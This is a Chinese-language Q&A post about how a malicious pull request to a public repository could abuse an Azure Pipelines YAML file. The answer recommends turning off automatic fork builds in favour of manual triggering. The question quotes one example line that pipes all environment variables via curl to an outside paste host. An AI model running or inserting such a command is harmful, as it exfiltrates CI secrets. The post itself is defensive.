在公共 PR

问题描述

我有一个公共仓库。随机 GitHub 用户可以自由创建拉取请求,这很棒。

我的 CI 管道在存储库中名为 pipelines.yml 的普通文件中进行了描述(我们使用 Azure 管道)。

不幸的是,这意味着一个随机的 GitHub 用户能够通过创建一个 PR 来窃取我所有的秘密环境变量,他们在其中编辑 pipelines.yml添加一个类似于以下内容的 bash 脚本行:

export | curl -XPOST 'http://pastebin-bla/xxxx'

或者运行任意代码,一般来说。对吗?

如何验证恶意 PR 至少不会更改某些关键文件

解决方法

如何验证恶意 PR 至少不会更改某些关键文件?

恐怕我们无法限制 PR 至少不更改某些关键文件。

作为解决方法,我们可以关闭自动分叉构建,而是使用拉取请求注释作为手动构建这些贡献的一种方式,这让您有机会在触发构建之前查看代码。

您可以查看文档 Consider manually triggering fork builds 以了解更多详细信息。

enter image description here